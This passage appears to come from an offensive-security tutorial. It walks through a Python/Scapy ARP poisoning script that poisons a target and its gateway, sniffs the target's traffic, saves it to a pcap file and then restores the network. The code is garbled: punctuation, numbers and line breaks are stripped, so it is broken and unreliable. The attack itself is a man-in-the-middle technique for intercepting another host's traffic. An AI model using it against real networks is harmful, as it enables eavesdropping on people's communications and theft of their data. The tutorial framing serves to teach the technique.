conf verb print "[*setting up %sinterface gateway_mac get_mac(gateway_ipif gateway_mac is noneprint "[!!!failed to get gateway mac exiting sys exit( elseprint "[*gateway % is at % (gateway_ip,gateway_mactarget_mac get_mac(target_ipif target_mac is noneprint "[!!!failed to get target mac exiting sys exit( elseprint "[*target % is at % (target_ip,target_macstart poison thread poison_thread threading thread(target poison_targetargs (gateway_ipgateway_mac,target_ip,target_mac)poison_thread start(tryprint "[*starting sniffer for % packetspacket_count bpf_filter "ip host %starget_ip packets sniff(count=packet_count,filter=bpf_filter,iface=interfacewrite out the captured packets wrpcap('arper pcap',packetsrestore the network restore_target(gateway_ip,gateway_mac,target_ip,target_macexcept keyboardinterruptrestore the network restore_target(gateway_ip,gateway_mac,target_ip,target_macsys exit( this is the main setup portion of our attack we start by resolving the gateway and target ip address' corresponding mac addresses using function called get_mac that we'll plumb in shortly after we have accomplished thatwe spin up second thread to begin the actual arp poisoning attack in our main threadwe start up sniffer that will capture preset amount of packets using bpf filter to only capture traffic for our target ip address when all of the packets have been capturedwe write them out to pcap file so that we can open them in wireshark or use our upcoming image carving script against them when the attack is finishedwe call our restore_target function which is responsible for putting the network back to the way it was before the arp poisoning took place let' add the supporting functions now by punching in the following code above our previous code blockdef restore_target(gateway_ip,gateway_mac,target_ip,target_mac)slightly different method using send print "[*restoring target send(arp(op= psrc=gateway_ippdst=target_iphwdst="ff:ff:ff:ff:ff:ff",hwsrc=gateway_mac),count= send(arp(op= psrc=target_ippdst=gateway_iphwdst="ff:ff:ff:ff:ff:ff",hwsrc=target_mac),count= signals the main thread to exit